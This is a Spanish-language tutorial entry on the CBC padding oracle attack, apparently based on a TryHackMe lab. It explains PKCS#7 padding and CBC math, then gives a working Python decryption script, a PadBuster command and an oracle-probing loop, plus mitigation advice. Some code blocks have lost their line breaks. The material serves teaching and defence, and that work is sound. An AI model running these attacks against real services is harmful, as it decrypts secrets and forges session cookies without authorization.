Ataque padding oracle
El ataque de oráculo de relleno (Padding Oracle Attack) es un ataque de texto cifrado elegido (CCA) que explota la respuesta de un servidor a errores de validación de padding en cifrados…
Definición
El ataque de oráculo de relleno (Padding Oracle Attack) es un ataque de texto cifrado elegido (CCA) que explota la respuesta de un servidor a errores de validación de padding en cifrados por bloques como AES-CBC. Si la aplicación revela —a través de mensajes de error, códigos de respuesta HTTP, tiempos de respuesta u otros indicadores— si el padding de un ciphertext es válido o no, el atacante puede descifrar el ciphertext completo sin conocer la clave, byte a byte.
El servidor actúa como un “oráculo”: responde “padding válido” o “padding inválido” ante cada intento, permitiendo un ataque de fuerza bruta de 256 intentos por byte.
Contexto
Esquema de relleno PKCS#7
Los cifrados por bloques como AES requieren que el plaintext sea múltiplo del tamaño de bloque (16 bytes en AES). Si no lo es, se añade padding PKCS#7: cada byte de relleno tiene como valor el número de bytes añadidos.
| Longitud texto (mod 16) | Bytes de padding | Valor de cada byte |
|---|---|---|
| 0 | 16 | 0x10 |
| 1 | 15 | 0x0F |
| 14 | 2 | 0x02 |
| 15 | 1 | 0x01 |
Ejemplo: "TryHackMe" (9 bytes) con bloque de 16 → 7 bytes de padding \x07:
54 72 79 48 61 63 6B 4D 65 07 07 07 07 07 07 07Modo CBC — Cifrado
CBC (Cipher Block Chaining) encadena cada bloque con el anterior antes de cifrar:
- El primer bloque de plaintext se XOR con el IV.
- El resultado se cifra con la clave → primer bloque de ciphertext
C1. C1se XOR con el segundo bloque de plaintext antes de cifrarlo →C2.- Y así sucesivamente.
Ejemplo con “TryHackMe” (bloque 8 bytes, IV: 01 01 01 01 01 01 01 01):
Bloque 1: "TryHackM" = 54 72 79 48 61 63 6B 4DXOR con IV: 55 73 78 49 60 62 6A 4C → Cifrado → C1: A3 3C 9F 12 58 44 76 10
Bloque 2: "e\x07\x07\x07\x07\x07\x07\x07" = 65 07 07 07 07 07 07 07XOR con C1: C6 3B 98 15 5F 43 71 17 → Cifrado → C2: B7 9F 2D 5A 11 66 4F 7AModo CBC — Descifrado
El descifrado es el proceso inverso. La fórmula clave:
Pi = Dk(Ci) XOR Ci-1Donde Pi es el plaintext del bloque i, Dk(Ci) es el resultado de descifrar Ci con la clave (valor intermedio), y Ci-1 es el bloque de ciphertext previo (o IV para el primer bloque).
Esta fórmula es el fundamento del ataque.
Desarrollo
Mecánica del ataque
El atacante tiene:
- El ciphertext
C1(y el IV, que esC0). - Capacidad de enviar ciphertexts modificados al servidor y observar si el padding es válido.
Objetivo: determinar Dk(C1) byte a byte. Una vez conocido, P1 = Dk(C1) XOR C0.
Fase 1 — Ataque al último byte
Se modifica el último byte del IV (C0[16]) con valores de 0x00 a 0xFF hasta que el servidor indique padding válido. Cuando ocurre, el server ha obtenido P1[16] = 0x01 (padding de 1 byte):
Dk(C1)[16] XOR test[16] = 0x01→ Dk(C1)[16] = test[16] XOR 0x01Con Dk(C1)[16] conocido, el plaintext original:
P1[16] = Dk(C1)[16] XOR C0[16]Ejemplo numérico:
- IV original
C0[16] = 0x31 - El servidor acepta
test[16] = 0x37como padding válido Dk(C1)[16] = 0x37 XOR 0x01 = 0x36P1[16] = 0x36 XOR 0x31 = 0x07(byte de padding, correcto para TryHackMe)
Fase 2 — Penúltimo byte
Para atacar el byte 15, se necesita que el padding resultante sea 0x02 0x02. Se fija C0[16] para que Dk(C1)[16] XOR C0[16] = 0x02, luego se itera C0[15] hasta padding válido:
Dk(C1)[15] XOR test[15] = 0x02→ Dk(C1)[15] = test[15] XOR 0x02→ P1[15] = Dk(C1)[15] XOR C0[15]Fase 3 — Todos los bytes
Se repite para cada posición, de atrás hacia adelante, estableciendo el padding requerido para esa posición. Para el byte i, el padding objetivo es (16 - i + 1).
Al final, se tiene Dk(C1) completo → P1 = Dk(C1) XOR C0 → plaintext recuperado.
Implementación (Python)
# Solo en laboratorio controladofrom binascii import hexlify, unhexlifyimport requests
BLOCK_SIZE = 16MAX_BYTE_VALUE = 255URL = "http://padding.thm:5001/oracle"
def padding_oracle_attack(orig_iv, orig_ct): modified_iv = bytearray(orig_iv) keystream = [] plaintext = []
for iv_index in reversed(range(BLOCK_SIZE)): padding = BLOCK_SIZE - iv_index # Ajustar bytes ya conocidos para el padding correcto for k in range(iv_index + 1, BLOCK_SIZE): modified_iv[k] = keystream[BLOCK_SIZE - 1 - k] ^ padding
for byte_value in range(MAX_BYTE_VALUE + 1): modified_iv[iv_index] = byte_value modified_ct = hexlify(bytes(modified_iv) + orig_ct) response = requests.post(URL, data=modified_ct)
if response.status_code == 200: keystream_byte = byte_value ^ padding keystream.append(keystream_byte) plaintext_byte = orig_iv[iv_index] ^ keystream_byte plaintext.append(plaintext_byte) break return bytes(reversed(plaintext))Automatización con PadBuster
PadBuster es una herramienta Perl que automatiza el ataque:
# Solo en laboratorio controladopadBuster \ http://padding.thm:5002/decrypt?ciphertext=313233...2cb8770371460c5a2dc6b6a7e65289b8 \ 313233343536373839303132333435362cb8770371460c5a2dc6b6a7e65289b8 \ 16 \ -encoding 1Parámetros:
URL: endpoint del oráculo con el ciphertext como parámetro.ciphertext: el ciphertext concatenado (IV + bloques).16: tamaño de bloque.-encoding 1: formato hex en minúsculas.
Al ejecutarlo, PadBuster solicita identificar qué respuesta corresponde al error de padding. Se selecciona la respuesta con status 500 (error) vs 200 (válido) y PadBuster descifra el texto byte a byte:
[+] Decrypted value (ASCII): TryDecryptMe[+] Decrypted value (HEX): 547279446563727970744D6504040404PadBuster también puede cifrar plaintext arbitrario con -plaintext texto_a_cifrar, lo que permite escalar privilegios si se puede modificar una cookie cifrada.
Escenarios de explotación real
Cookies de sesión: aplicaciones que cifran datos del usuario (rol, username) en una cookie con AES-CBC sin autenticación. Si el servidor devuelve errores de padding diferentes de otros errores, es un oráculo.
Diferenciación de errores detectables:
- Mensajes de error distintos (“Invalid padding” vs “Invalid data”).
- Códigos HTTP diferentes (400 vs 500).
- Tiempos de respuesta distintos (timing oracle).
- Diferencias en el tamaño del cuerpo de la respuesta.
Ejemplos
Identificación en pentesting (black-box):
import requests
# Modificar el último byte del ciphertext y observar diferenciasfor byte in range(256): modified = ciphertext[:-1] + bytes([byte]) r = requests.post(url, cookies={"token": modified.hex()}) if "Invalid padding" in r.text: print(f"Padding inválido para byte {byte:#04x}") elif r.status_code == 200: print(f"Padding VÁLIDO para byte {byte:#04x} → oráculo encontrado")Verificación del relleno PKCS#7 (implementación segura):
from Crypto.Util.Padding import unpad, padfrom Crypto.Cipher import AES
# Siempre usar unpad con manejo de error genéricotry: plaintext = unpad(decrypted_bytes, 16)except ValueError: # Error genérico: no revelar si fue padding o datos return "Error de descifrado"Pitfalls
- “El servidor no revela el error exacto, no hay oráculo”: diferencias sutiles como el tamaño de la respuesta, el tiempo de respuesta o el código HTTP (500 vs 400) son suficientes para construir un oráculo de timing.
- “Uso AES-CBC con PKCS#7, debería ser seguro”: AES-CBC es seguro si se combina con verificación de integridad (HMAC o AEAD). Sin autenticación, es vulnerable a CBC padding oracle.
- “El atacante no conoce mi clave, el ataque es imposible”: el padding oracle permite descifrar sin conocer la clave. El ataque explota la implementación del descifrado, no el algoritmo.
- “Solo funciona si el servidor devuelve mensajes de error”: cualquier comportamiento diferencial (incluyendo tiempos) actúa como oráculo. La mitigación requiere que el servidor tenga respuesta uniforme ante cualquier tipo de error.
- “Migré de AES-CBC a AES-CBC + HMAC, estoy protegido”: solo si el HMAC se verifica antes del descifrado (“encrypt-then-MAC”). Si se descifra primero y luego se verifica el MAC (“MAC-then-encrypt”), el oráculo puede existir si hay diferencia de tiempo.
Diagrama
sequenceDiagram
participant A as Atacante
participant S as Servidor (Oráculo)
Note over A: Tiene C0 (IV) y C1 (ciphertext)
loop Para cada byte i (de 15 a 0)
A->>A: Preparar modified_IV con padding objetivo
loop byte_value 0x00 a 0xFF
A->>S: POST modified_IV || C1
S->>S: Descifra Dk(C1), XOR con modified_IV, verifica padding
alt Padding inválido
S->>A: 500 Error
else Padding válido
S->>A: 200 OK
A->>A: Dk(C1)[i] = byte_value XOR padding_target
A->>A: P1[i] = Dk(C1)[i] XOR C0[i]
Note over A: Byte recuperado
end
end
end
Note over A: P1 completo = TryHackMe
Referencias
- TryHackMe — Padding Oracles: https://tryhackme.com/room/paddingoracles
- PadBuster (Kali): https://www.kali.org/tools/padbuster/
- PadBuster (GitHub): https://github.com/AonCyberLabs/PadBuster
- OWASP A02 — Cryptographic Failures: https://owasp.org/Top10/A02_2021-Cryptographic_Failures/
- NIST SP 800-38A — Modes of Operation: https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38a.pdf
- Vaudenay — “Security Flaws Induced by CBC Padding” (2002): https://www.iacr.org/archive/eurocrypt2002/23320530/cbc02_e02d.pdf
Ver también: Cryptographic Failures, AES-ECB Chosen Plaintext Attack, Insecure Randomness